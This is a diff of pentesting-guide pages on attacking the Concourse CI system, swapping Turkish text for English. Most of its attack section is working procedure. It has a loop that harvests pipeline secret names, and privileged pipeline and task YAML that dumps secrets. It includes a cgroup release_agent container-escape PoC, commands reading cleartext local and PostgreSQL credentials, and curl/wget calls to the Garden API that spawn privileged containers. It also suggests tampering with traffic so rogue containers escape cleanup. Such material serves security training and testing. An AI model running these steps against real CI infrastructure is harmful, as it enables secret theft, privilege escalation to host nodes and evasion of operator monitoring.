Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Statik değişkenler **görev adımlarında** belirtilebilir:
|
||||
Static vars can be specified in **tasks steps**:
|
||||
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Or using the following `fly` **argümanları**:
|
||||
|
||||
- `-v` veya `--var` `NAME=VALUE` dizesini `VALUE` olarak ayarlar.
|
||||
- `-y` veya `--yaml-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` değişkeninin değeri olarak ayarlar.
|
||||
- `-i` veya `--instance-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` örnek değişkeninin değeri olarak ayarlar. Daha fazla bilgi için [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) sayfasına bakın.
|
||||
- `-l` veya `--load-vars-from` `FILE` `FILE`'yi yükler, bu dosya değişken adlarını değerlere eşleyen bir YAML belgesidir ve hepsini ayarlar.
|
||||
Or using the following `fly` **arguments**:
|
||||
|
||||
#### Kimlik Bilgisi Yönetimi
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
|
||||
Bir **Kimlik Bilgisi Yöneticisi**'nin bir pipeline'da farklı şekillerde belirtilebileceği yollar vardır, bunu [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) adresinde okuyun.\
|
||||
Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler:
|
||||
#### Credential Management
|
||||
|
||||
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Moreover, Concourse supports different credential managers:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
@@ -59,64 +61,66 @@ Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler:
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Eğer **Concourse'a yazma erişiminiz** varsa, bu sırları **sızdırmak için işler oluşturabilirsiniz** çünkü Concourse bunlara erişebilmelidir.
|
||||
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
|
||||
|
||||
### Concourse Sayımı
|
||||
### Concourse Enumeration
|
||||
|
||||
Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplamanız** veya muhtemelen bir `.flyrc` yapılandırma dosyasında bir **kimlik doğrulama jetonu** bulmanız gerekir.
|
||||
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
|
||||
|
||||
#### Giriş ve Mevcut Kullanıcı sayımı
|
||||
#### Login and Current User enum
|
||||
|
||||
- Giriş yapmak için **endpoint**, **takım adı** (varsayılan `main`) ve **kullanıcının ait olduğu takımı** bilmeniz gerekir:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Yapılandırılmış **hedefleri** alın:
|
||||
- `fly targets`
|
||||
- Yapılandırılmış **hedef bağlantısının** hala **geçerli** olup olmadığını kontrol edin:
|
||||
- `fly -t <target> status`
|
||||
- Belirtilen hedefe karşı kullanıcının **rolünü** alın:
|
||||
- `fly -t <target> userinfo`
|
||||
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Get configured **targets**:
|
||||
- `fly targets`
|
||||
- Get if the configured **target connection** is still **valid**:
|
||||
- `fly -t <target> status`
|
||||
- Get **role** of the user against the indicated target:
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> **API jetonunun** varsayılan olarak `$HOME/.flyrc` içinde **kaydedildiğini** unutmayın, bir makineyi ele geçiriyorsanız, kimlik bilgilerini orada bulabilirsiniz.
|
||||
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
|
||||
|
||||
#### Takımlar & Kullanıcılar
|
||||
#### Teams & Users
|
||||
|
||||
- Takımların bir listesini alın
|
||||
- `fly -t <target> teams`
|
||||
- Takım içindeki rolleri alın
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Kullanıcıların bir listesini alın
|
||||
- `fly -t <target> active-users`
|
||||
- Get a list of the Teams
|
||||
- `fly -t <target> teams`
|
||||
- Get roles inside team
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Get a list of users
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipeline'lar
|
||||
#### Pipelines
|
||||
|
||||
- **List** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Get all pipeline **config declared vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
|
||||
|
||||
- **Pipeline'ları** listeleyin:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- Pipeline yaml'ını **alın** (**hassas bilgiler** tanımda bulunabilir):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Tüm pipeline **yapılandırma değişkenlerini** alın
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Kullanılan tüm **pipeline gizli adlarını** alın (bir iş oluşturup/ değiştirebilir veya bir konteyneri ele geçirebilirseniz, bunları sızdırabilirsiniz):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
done
|
||||
echo ""
|
||||
echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
|
||||
#### Containers & Workers
|
||||
|
||||
- List **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- `fly -t <target> workers`
|
||||
- List **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- `fly -t <target> containers`
|
||||
- List **builds** (to see what is running):
|
||||
- `fly -t <target> builds`
|
||||
- `fly -t <target> builds`
|
||||
|
||||
### Concourse Attacks
|
||||
|
||||
@@ -127,83 +131,90 @@ rm /tmp/secrets.txt
|
||||
|
||||
#### Secrets and params enumeration
|
||||
|
||||
Önceki bölümde, pipeline tarafından kullanılan **tüm gizli isimleri ve değişkenleri** nasıl alabileceğinizi gördük. **Değişkenler hassas bilgileri içerebilir** ve **gizli isimler**, onları çalmaya çalışmak için daha sonra faydalı olacaktır.
|
||||
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
|
||||
|
||||
#### Session inside running or recently run container
|
||||
|
||||
Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **pipeline'ları ve rolleri listeleyebilir** ve sadece `<pipeline>/<job>` **konteyneri içinde bir oturum** açabilirsiniz:
|
||||
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
|
||||
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
```
|
||||
Bu izinlerle şunları yapabilirsiniz:
|
||||
|
||||
- **Konteynerin** içindeki **gizli bilgileri çalmak**
|
||||
- **Düğüm**'e **kaçmaya** çalışmak
|
||||
- **Bulut meta verisi** uç noktasını (pod'dan ve mümkünse düğümden) listelemek/suistimal etmek
|
||||
With these permissions you might be able to:
|
||||
|
||||
#### Pipeline Oluşturma/Düzenleme
|
||||
- **Steal the secrets** inside the **container**
|
||||
- Try to **escape** to the node
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
|
||||
|
||||
#### Pipeline Creation/Modification
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
|
||||
|
||||
Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **yeni pipeline'lar oluşturabilir/düzenleyebilirsiniz.** Bu örneğe bakın:
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
Yeni bir pipeline'ın **değiştirilmesi/yapılması** ile şunları yapabileceksiniz:
|
||||
|
||||
- **Gizli anahtarları çalmak** (onları dışa vurarak veya konteynere girip `env` komutunu çalıştırarak)
|
||||
- **Düğümden kaçmak** (size yeterli ayrıcalıklar vererek - `privileged: true`)
|
||||
- **Bulut meta verisi** uç noktasını listelemek/suistimal etmek (pod'dan ve düğümden)
|
||||
- Oluşturulan pipeline'ı **silmek**
|
||||
With the **modification/creation** of a new pipeline you will be able to:
|
||||
|
||||
#### Özel Görev Çalıştırma
|
||||
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
|
||||
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
|
||||
- **Delete** created pipeline
|
||||
|
||||
#### Execute Custom Task
|
||||
|
||||
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
|
||||
|
||||
Bu, önceki yönteme benzer, ancak tamamen yeni bir pipeline'ı değiştirmek/yapmak yerine **sadece özel bir görevi çalıştırabilirsiniz** (bu muhtemelen çok daha **gizli** olacaktır):
|
||||
```yaml
|
||||
# For more task_config options check https://concourse-ci.org/tasks.html
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### Yetkili görevden düğüme kaçış
|
||||
|
||||
Önceki bölümlerde **concourse ile yetkili bir görevi nasıl çalıştıracağımızı** gördük. Bu, konteynerin bir docker konteynerindeki yetkili bayrağa tam olarak aynı erişimi sağlamayacaktır. Örneğin, /dev içinde düğüm dosya sistemi cihazını göremezsiniz, bu nedenle kaçış daha "karmaşık" olabilir.
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
|
||||
|
||||
In the following PoC we are going to use the release_agent to escape with some small modifications:
|
||||
|
||||
Aşağıdaki PoC'de, bazı küçük değişikliklerle kaçış yapmak için release_agent'ı kullanacağız:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -261,12 +272,14 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Fark etmiş olabileceğiniz gibi, bu sadece bir [**normal release_agent kaçışı**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) ve sadece noddaki cmd yolunu değiştirmektedir.
|
||||
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
|
||||
|
||||
#### Bir Worker konteynerinden node'a kaçış
|
||||
#### Escaping to the node from a Worker container
|
||||
|
||||
A regular release_agent escape with a minor modification is enough for this:
|
||||
|
||||
Bu durum için küçük bir modifikasyon ile normal bir release_agent kaçışı yeterlidir:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -293,11 +306,13 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
#### Web konteynerinden node'a kaçış
|
||||
|
||||
Web konteynerinde bazı savunmalar devre dışı bırakılmış olsa bile, **yaygın ayrıcalıklı bir konteyner olarak çalışmıyor** (örneğin, **mount** yapamazsınız ve **yetkiler** çok **sınırlıdır**, bu nedenle konteynerden kaçmanın kolay yolları işe yaramaz).
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
|
||||
|
||||
However, it stores **local credentials in clear text**:
|
||||
|
||||
Ancak, **yerel kimlik bilgilerini düz metin olarak** saklar:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -306,9 +321,11 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Bu kimlik bilgilerini **web sunucusuna giriş yapmak** ve **ayrıcalıklı bir konteyner oluşturup düğümden kaçmak** için kullanabilirsiniz.
|
||||
|
||||
Ortamda ayrıca concourse'un kullandığı **postgresql** örneğine erişim bilgilerini (adres, **kullanıcı adı**, **şifre** ve veritabanı gibi diğer bilgiler) bulabilirsiniz:
|
||||
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
|
||||
|
||||
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
|
||||
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -329,35 +346,39 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
#### Garden Servisini Kötüye Kullanma - Gerçek Bir Saldırı Değil
|
||||
|
||||
#### Abusing Garden Service - Not a real Attack
|
||||
|
||||
> [!WARNING]
|
||||
> Bu sadece hizmetle ilgili bazı ilginç notlar, ancak yalnızca localhost'ta dinlediği için, bu notlar daha önce zaten istismar etmediğimiz bir etki sunmayacak.
|
||||
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
|
||||
|
||||
Varsayılan olarak her concourse işçi, 7777 numaralı portta bir [**Garden**](https://github.com/cloudfoundry/garden) hizmeti çalıştıracaktır. Bu hizmet, Web yöneticisi tarafından işçiye **ne yapması gerektiğini** belirtmek için kullanılır (görüntüyü indirmek ve her görevi çalıştırmak). Bu, bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var:
|
||||
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
|
||||
|
||||
- Sadece **yerel olarak** (127..0.0.1) **açık** ve işçi, özel SSH hizmeti ile Web'e kimlik doğrulaması yaptığında, web sunucusunun her işçi içindeki her Garden hizmeti ile **iletişim kurabilmesi için** bir tünel oluşturuluyor.
|
||||
- Web sunucusu, **çalışan konteynerleri her birkaç saniyede bir izliyor** ve **beklenmedik** konteynerler **siliniyor**. Bu nedenle, **özel bir konteyner çalıştırmak** istiyorsanız, web sunucusu ile garden hizmeti arasındaki **iletişimi** **değiştirmeniz** gerekiyor.
|
||||
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
|
||||
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
|
||||
|
||||
Concourse workers run with high container privileges:
|
||||
|
||||
Concourse işçileri yüksek konteyner ayrıcalıklarıyla çalışır:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
pid: true
|
||||
user: false
|
||||
pid: true
|
||||
user: false
|
||||
AppArmor Profile: kernel
|
||||
Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
Ancak, düğümün /dev cihazını veya release_agent'ı **monte etme** gibi teknikler **çalışmayacak** (çünkü düğümün dosya sistemi ile gerçek cihaz erişilebilir değil, sadece sanal bir cihaz var). Düğümün süreçlerine erişemiyoruz, bu nedenle çekirdek istismarları olmadan düğümden kaçmak karmaşık hale geliyor.
|
||||
|
||||
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
|
||||
|
||||
> [!NOTE]
|
||||
> Önceki bölümde ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu nedenle eğer **mevcut** **işçi** tarafından oluşturulan bir **ayrıcalıklı konteynerde** komutları **çalıştırabiliyorsak**, **düğüme kaçabiliriz**.
|
||||
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
|
||||
|
||||
Concourse ile oynarken, bir şey çalıştırmak için yeni bir konteyner oluşturulduğunda, konteyner süreçlerinin işçi konteynerinden erişilebilir olduğunu fark ettim, bu nedenle bir konteynerin içinde yeni bir konteyner oluşturması gibi.
|
||||
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
|
||||
|
||||
**Getting inside a running privileged container**
|
||||
|
||||
**Çalışan bir ayrıcalıklı konteynere girmek**
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -370,26 +391,30 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
|
||||
# Execute a new process inside a container
|
||||
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
|
||||
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
|
||||
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**Yeni bir ayrıcalıklı konteyner oluşturma**
|
||||
|
||||
Yeni bir konteyner oluşturmak çok kolaydır (rastgele bir UID çalıştırın) ve üzerinde bir şey çalıştırabilirsiniz:
|
||||
**Creating a new privileged container**
|
||||
|
||||
You can very easily create a new container (just run a random UID) and execute something on it:
|
||||
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
|
||||
# Wget will be stucked there as long as the process is being executed
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
Ancak, web sunucusu her birkaç saniyede bir çalışan konteynerleri kontrol ediyor ve eğer beklenmedik bir tane keşfedilirse, silinecektir. İletişim HTTP üzerinden gerçekleştiği için, beklenmedik konteynerlerin silinmesini önlemek için iletişimi değiştirebilirsiniz:
|
||||
|
||||
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
|
||||
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
@@ -411,8 +436,11 @@ Host: 127.0.0.1:7777.
|
||||
User-Agent: Go-http-client/1.1.
|
||||
Accept-Encoding: gzip.
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
## References
|
||||
|
||||
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,25 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Test Ortamı
|
||||
## Testing Environment
|
||||
|
||||
### Concourse'u Çalıştırma
|
||||
### Running Concourse
|
||||
|
||||
#### Docker-Compose ile
|
||||
#### With Docker-Compose
|
||||
|
||||
This docker-compose file simplifies the installation to do some tests with concourse:
|
||||
|
||||
Bu docker-compose dosyası, concourse ile bazı testler yapmak için kurulumu basitleştirir:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
`fly` komut satırını işletim sisteminiz için `127.0.0.1:8080` adresinden indirebilirsiniz.
|
||||
|
||||
#### Kubernetes ile (Tavsiye Edilen)
|
||||
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
|
||||
|
||||
#### With Kubernetes (Recommended)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
|
||||
**Kubernetes**'te (örneğin **minikube**'da) helm-chart kullanarak concourse'u kolayca dağıtabilirsiniz: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -28,90 +31,94 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
Concourse ortamını oluşturduktan sonra, bir gizli anahtar oluşturabilir ve concourse web'de çalışan SA'ya K8s gizli anahtarlarına erişim verebilirsiniz:
|
||||
|
||||
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
|
||||
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: read-secrets
|
||||
name: read-secrets
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
|
||||
---
|
||||
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-secrets-concourse
|
||||
name: read-secrets-concourse
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
|
||||
---
|
||||
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
type: Opaque
|
||||
data:
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### Pipeline Oluştur
|
||||
|
||||
Bir pipeline, sıralı bir [Jobs](https://concourse-ci.org/jobs.html) listesi ile yapılır ve bu liste bir [Steps](https://concourse-ci.org/steps.html) listesi içerir.
|
||||
### Create Pipeline
|
||||
|
||||
### Adımlar
|
||||
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
|
||||
|
||||
Birçok farklı türde adım kullanılabilir:
|
||||
### Steps
|
||||
|
||||
- **`task` adımı** [**`task`**](https://concourse-ci.org/tasks.html) **çalıştırır**
|
||||
- [`get` adımı](https://concourse-ci.org/get-step.html) bir [resource](https://concourse-ci.org/resources.html) alır
|
||||
- [`put` adımı](https://concourse-ci.org/put-step.html) bir [resource](https://concourse-ci.org/resources.html) günceller
|
||||
- [`set_pipeline` adımı](https://concourse-ci.org/set-pipeline-step.html) bir [pipeline](https://concourse-ci.org/pipelines.html) yapılandırır
|
||||
